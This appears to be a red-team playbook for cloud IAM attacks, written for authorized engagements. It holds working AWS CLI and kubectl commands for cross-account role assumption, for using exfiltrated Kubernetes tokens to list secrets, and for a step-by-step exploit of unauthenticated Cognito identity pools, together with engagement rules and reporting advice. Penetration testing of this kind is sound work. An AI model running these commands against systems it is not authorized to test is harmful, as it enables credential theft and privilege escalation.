Cloud IAM Deep

Trigger when:

• A cloud credential surfaces (key, secret, token, JSON file)
• SSRF chain reaches IMDS / metadata endpoint
• APK / git-leak reveals embedded cloud key
• Recon shows public S3/GCS/Azure-blob with permissions you can verify
• A Kubernetes API or service-account token is exposed
• Post-RCE on a cloud-hosted instance — pivot to cloud control plane

• On-prem-only environments (use AD attack skills — but those are out of scope per external-only boundary)
• Web2 vulns that happen to be on AWS — use the relevant hunt-* skill

Quick lookup — if you have any of these IAM actions, escalate via the listed technique:

# Enumerate roles you can assume across accounts
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
# Parse for "Principal.AWS" containing different account IDs
# Assume a role aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"
# Set new creds export AWS_ACCESS_KEY_ID="ASIA..." export AWS_SECRET_ACCESS_KEY="..." export AWS_SESSION_TOKEN="..."
# Verify aws sts get-caller-identity  # should now show OTHER_ACCT
# Re-enumerate from new identity (chain continues)

Confused-deputy pattern: look for sts:ExternalId missing or trust policies that allow arn:aws:iam::*:role/*. If ExternalId is not required, anyone can assume the role.

# Check anonymous access on K8s API
curl -sk "https://k8s.target.com:6443/api/v1/namespaces"
# Anonymous binding (system:anonymous user) — surprisingly common curl -sk "https://k8s.target.com:6443/api/v1/pods?limit=1"
# If SA token exfil'd (eyJ...): export TOKEN="eyJ..." kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get namespaces kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify auth can-i --list kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get pods -A kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get secrets -A

K8s privesc patterns

• DO NOT run write/delete operations without explicit OK — IAM mutation is destructive and audit-visible
• DO NOT enumerate everything in scope of an account — aws iam list-users against an account with 50,000 users is loud and slow
• DO NOT use aws * with non-test creds without confirming you have the right account — accidentally hitting prod = career risk
• DO NOT confuse "I have the credential" with "this credential is current" — always check expiration / rotation via STS first
• DO NOT assume an STS token from one account works across accounts — region restrictions and trust policies apply
• DO NOT skip CloudTrail/Activity Log awareness — every API call is logged; pair with mid-engagement-ir-detection
• DO NOT pivot deeper than the SOW allows — discovering admin creds doesn't mean using them; some engagements are read-only

• hunt-cloud-misconfig — finds the credentials in the first place (public buckets, IMDS via SSRF, leaked JSON)
• hunt-ssrf — SSRF→IMDS is the canonical chain into cloud control plane
• apk-redteam-pipeline — APK secret extraction commonly yields cloud creds
• supply-chain-attack-recon — CI/CD pipelines store cloud creds; finding them is a separate workflow
• m365-entra-attack — Azure cross-product; Managed Identity tokens cross over to Graph
• mid-engagement-ir-detection — cloud control plane activity is monitored; expect mitigations

If during the engagement you:

• Used sts:AssumeRole to chain — note the role names and times in IoCs
• Created any IAM resources (test users, roles, policies) — list them with explicit cleanup confirmation
• Read sensitive data (Secrets Manager, KMS keys, Storage blob content) — note in deliverable that data was viewed but not exfiltrated outside the engagement systems

AWS Cognito has two distinct services often confused: User Pools (auth provider) and Identity Pools (federated identity → IAM credentials). Identity Pools can be configured with "Enable access to unauthenticated identities" — which gives ANY anonymous caller an IAM role via cognito-identity:GetId → cognito-identity:GetCredentialsForIdentity. Mobile apps and SPAs ship the IdentityPoolId in the page bundle. Developers commonly attach overly-broad IAM permissions to the unauth role, especially when the pool was set up for AWS Amplify / Pinpoint / CloudWatch RUM and the role policy was never narrowed.

Step 1 — Discover the IdentityPoolId

The IdentityPoolId is a public identifier by AWS design (<region>:<UUID> format). The find:

# JS bundle / SPA regex (against *.js, *.html, source-map files)
grep -ErohE "identityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
grep -ErohE "IdentityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
grep -ErohE "\"PoolId\"\s*:\s*\"([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})\"" .
# Mobile APK (after jadx decompile) grep -rEi "identity[_-]?pool[_-]?id" decoded/ grep -rE "\"[a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36}\"" decoded/
# Also check amplifyconfiguration.json awsconfiguration.json aws-exports.js .env.js *.js.map

Wayback CDX captures, GitHub code-search for the apex domain + IdentityPoolId, and JS chunks linked from index.html are the high-yield search corpora.

Step 2 — GetId (unauth)

aws cognito-identity get-id \
  --identity-pool-id us-east-1:abcd1234-5678-90ab-cdef-1234567890ab \
  --region us-east-1 \
  --no-sign-request

--no-sign-request is critical — tells the CLI not to look for ambient AWS credentials. Returns {"IdentityId": "us-east-1:<uuid>"}. If this returns NotAuthorizedException, unauth identities are disabled — stop, not exploitable.

Step 3 — GetCredentialsForIdentity

aws cognito-identity get-credentials-for-identity \
  --identity-id us-east-1:<returned-uuid> \
  --region us-east-1 \
  --no-sign-request

Returns real STS credentials with ~1 hour TTL: AccessKeyId (ASIA…), SecretKey, SessionToken, Expiration.

Step 4 — Confirm role ARN

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity

Returns role ARN like arn:aws:sts::<account>:assumed-role/Cognito_<PoolName>Unauth_Role/CognitoIdentityCredentials. Account ID is now disclosed.

Step 5 — Enumerate role permissions

Direct (rare):

aws iam get-role --role-name Cognito_<PoolName>Unauth_Role aws iam list-role-policies --role-name Cognito_<PoolName>Unauth_Role aws iam list-attached-role-policies --role-name Cognito_<PoolName>Unauth_Role

Blackbox (the normal case) — fire a permission probe across high-value services and observe AccessDenied vs success. Pacu's iam__enum_permissions --role-name <name> brute-forces ~500 IAM actions; enumerate-iam.py by Andrés Riancho covers ~1000. Common over-permissions: s3:Get*/s3:List*, dynamodb:Scan, lambda:InvokeFunction, appsync:GraphQL, cognito-idp:AdminCreateUser, iam:PassRole, kms:Decrypt.

Severity rubric

Disclosed cases / authoritative writeups

• Andres Riancho — "Misconfigured Cognito Identity Pools" (2020, refreshed 2023) — original research establishing the attack class. GetCredentialsForIdentity against unauth pools with default * policies. [andresriancho.com](https://andresriancho.com/identity-pools-and-the-default-iam-role-trap/)
• Rhino Security Labs — Pacu cognito__enum_identity_pools module — production tooling that automates Steps 1-5 of the chain. [github.com/RhinoSecurityLabs/pacu](https://github.com/RhinoSecurityLabs/pacu/tree/master/pacu/modules/cognito__enum_identity_pools)
• NotSoSecure / Claranet — "Exploiting weak configurations in Amazon Cognito" (Nov 2023) — walkthrough of identityPoolId extraction → assume guest role → S3/DynamoDB/Lambda enumeration. Calls out RUM, Amplify, Pinpoint as the three SDKs that commonly expose the pool ID in HTML. [notsosecure.com](https://www.notsosecure.com/exploiting-weak-configurations-in-amazon-cognito/)
• HackTricks Cloud — aws-cognito-unauthenticated-enum — canonical playbook covering Steps 1-5. [cloud.hacktricks.wiki](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html)
• Spaceraccoon / Eugene Lim — "Mass Account Takeover via Cognito IdentityPool" (Medium, 2020) — SaaS provider exposed IdentityPoolId in Amplify config; unauth role had cognito-idp:AdminConfirmSignUp + AdminUpdateUserAttributes on the linked User Pool — silent confirmation of any signup + email change = mass ATO.
• Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" (2024) — telemetry across Datadog customer base showing real-world Cognito pool abuse. Non-trivial percentage of pools paired with policies broader than the minimum required. [securitylabs.datadoghq.com](https://securitylabs.datadoghq.com/articles/abusing-aws-cognito-misconfigurations/)

Reporting tip

Always include in the report:

• sts get-caller-identity output (proves the role ARN + account ID)
• Pacu iam__enum_permissions JSON output (proves the granted actions)
• A concrete data-pull PoC (one sample S3 object listing, one DynamoDB record with PII redacted)

Cross-reference: hunt-cloud-misconfig → CloudWatch RUM weaponization covers the specific RUM-embedded variant of this attack class.

• hunt-ssrf — Most external paths to a cloud credential begin with SSRF reaching the metadata service. Chain primitive: SSRF + IMDSv1 → instance role token → cloud-iam-deep privilege-escalation patterns reach prod S3 / Secrets Manager.
• hunt-cloud-misconfig — Public buckets and exposed configs are the most common credential-leak vector. Chain primitive: Cloud misconfig (.env in public S3) + leaked AWS access key → IAM enumeration → iam:PassRole chain to admin.
• supply-chain-attack-recon — CI/CD often holds long-lived deploy credentials. Chain primitive: Exposed GitHub Actions OIDC misconfig + assume-role permission → cloud-iam-deep cross-account role assumption.
• m365-entra-attack — Azure Managed Identity overlaps Entra service principals. Chain primitive: SSRF on Azure App Service → Managed Identity token → m365-entra-attack Graph API enumeration → cross-tenant escalation.
• security-arsenal — Load the Cloud IAM Privilege-Escalation Payload Pack (24+ AWS, 8+ Azure, 6+ GCP escalation patterns with aws cli one-liners).
• triage-validation — Apply the Server-State-vs-Policy gate: a permissive IAM policy alone is not a finding; demonstrate actual privileged action (e.g., read prod secret, create cross-account role) before reporting.